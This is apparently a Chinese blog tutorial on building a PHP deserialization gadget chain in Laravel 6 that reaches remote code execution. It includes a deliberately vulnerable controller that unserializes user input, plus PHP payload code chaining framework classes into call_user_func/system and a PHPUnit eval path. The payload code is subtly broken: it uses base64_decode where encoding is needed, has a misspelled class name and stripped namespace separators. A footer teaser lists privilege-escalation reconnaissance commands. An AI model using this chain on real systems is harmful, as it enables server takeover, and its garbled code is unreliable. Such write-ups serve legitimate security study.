Laravel6中继承Laravel5.8中的Pop链学习

  • A+

最近关于Thinkphp的反序列化链的文章较多,看了七月火师傅Laravel5.8Pop链构造的文章,想着能不能在6中找到新的利用链,简单的跟了一下,找到一处可以触发__toString的任意文件删除Gadget,但是继续跟下去发现无法利用只好作罢,于是动手学习一下这条链。

Laravel框架是一套比较简洁,且容易上手的PHP Web开发框架,使用者可以用Laravel快速的构建自己的Web应用程序,Laravel每个版本对php版本的要求都有不同,如本文中的Laravel6就需要PHP7.1+以上版本,安装Laravel项目可以使用Composer安装,命令如下:

composer create-project --prefer-dist laravel/laravel=6.0

因为默认镜像的服务器在国外且网络较慢而国内的镜像比较旧,所以建议下载一键安装包安装,下载地址:https://qcdn.xueyuanjun.com/laravel/releases/laravel6.zip,下载后解压即可

app/Http/Controller目录下用于存放控制器,resources目录下的view目录用于存放模板文件(Laravel采用的是Blade模板引擎),route用里面用于定义路由,我们重点关注vendor目录

搜索全局__destruct()方法,找到一个任意文件删除的Gadget且可以触发__toString方法,但跟下去发现无法利用所以略过(希望有师傅能操作一波,让我学习一下),其中一处__destruct方法在vendorlaravelframeworksrcIlluminateBroadcastingPendingBroadcast.php文件的第55

1.png
其中events可控,传入的event也可控,即这一处我们可以控制events为我们想要访问的类,这样我们可以访问该类中存在的dispatch方法,并传入我们想要传入的值,我们搜索全局的dispatch方法

2.png

找到一处在vendorlaravelframeworksrcIlluminateBusDispatcher.php文件中的70

3.png

这里存在一个dispatch方法,且传入的参数我们可控,跟入查看可以发现这里有两个返回点,后一个跟下去没啥可以利用的地方,我们去看第一个的逻辑,if中会判断queueResolver是否有值(这一处我们可控),并将$command的值传入commandShouldBeQueued方法,进行与运算,即两个条件都得为真才能进入该分支,跟进commandShouldBeQueued方法在同文件的133行,查看代码

4.png
会返回$command是否为实现ShouldQueue类的接口的值,我们需要设置$command为实现该类的接口,即event为实现ShouldQueue类的接口,查找实现了该接口的文件,搜索implements关键字:

5.png

发现有5个文件满足,我们使用BroadcasEvent.php(其他几个也可以),当满足条件后跟入dispatchToQueue方法,在该文件的146行:

6.png
第150行调用了call_user_func函数,其中queueResolver我们可控,变量$connection我们也可控,这样我们就可以执行我们的函数与参数了,设置queueResolver为system,$connection为calc,即可弹计算器

在路由中添加一条路由:

8.png
然后命令行创建一条控制器:

7.png
在控制器中添加index方法:

```php
public function index(Request $request){
$code = $request->input('code');
if(isset($code)){

unserialize(base64_decode($code));
}
else{
return view('welcome');
}

}

```

paylaod:

```php
<?php
//反序列化漏洞入口点
namespace IlluminateBroadcasting{
class PendingBroadcast
{
protected $events;
protected $event;

    public function __construct($events="",$event="")
    {
        $this->events = $events;//设置为Dispatcher类
        $this->event = $event;//设置参数为继承ShouldQueue接口的类
    }
}

}
//设置$queueResolver为system
namespace IlluminateBus{
class Dispatcher
{
protected $queueResolver = "system";
}
}
//设置$connection 为 要执行的命令
namespace IlluminateBroadcasting{
class BroadcastEvent
{
public $connection = "calc";
}
}

namespace{
$dispatcher = new IlluminateBusDispatcher();
$broadcastevent = new IllumicnateBroadcastingBroadcastEvent();
$pendingbroadcast = new IlluminateBroadcastingPendingBroadcast($dispatcher,$broadcastevent);
echo base64_decode(serialize($pendingbroadcast));
}

```

如图:

9.png

其中我们还能使用call_user_func函数,调用任意类的任意方法call_user_func(array("class","method"),"args"),搜索全局可以实现我们RCE的地方,找到vendorphpunitphpunitsrcFrameworkMockObjectMockTrait.php 文件第33行的generate方法存在一个eval调用

10.png

mockName与classCode这两个值我们都可控,构造时修改queueResolver为call_user_func,$connection为array(new PHPUnitFrameworkMockObjectMockClass(),'generate'),MockTrait的值为下图

11.png

即可成功执行whoami命令,如图:

12.png

在学习该条链的时候,产生过一些疑惑感谢@Ashe 师傅的解答,同时也感谢分享知识的师傅们,文笔较水,可能写的不是很好如有问题望师傅们斧正,感激不尽。

相关推荐: Linux提权命令总结

=== 操作系统 === 发行类型、发行版本 ``` cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release uname -n   //hostname主机名…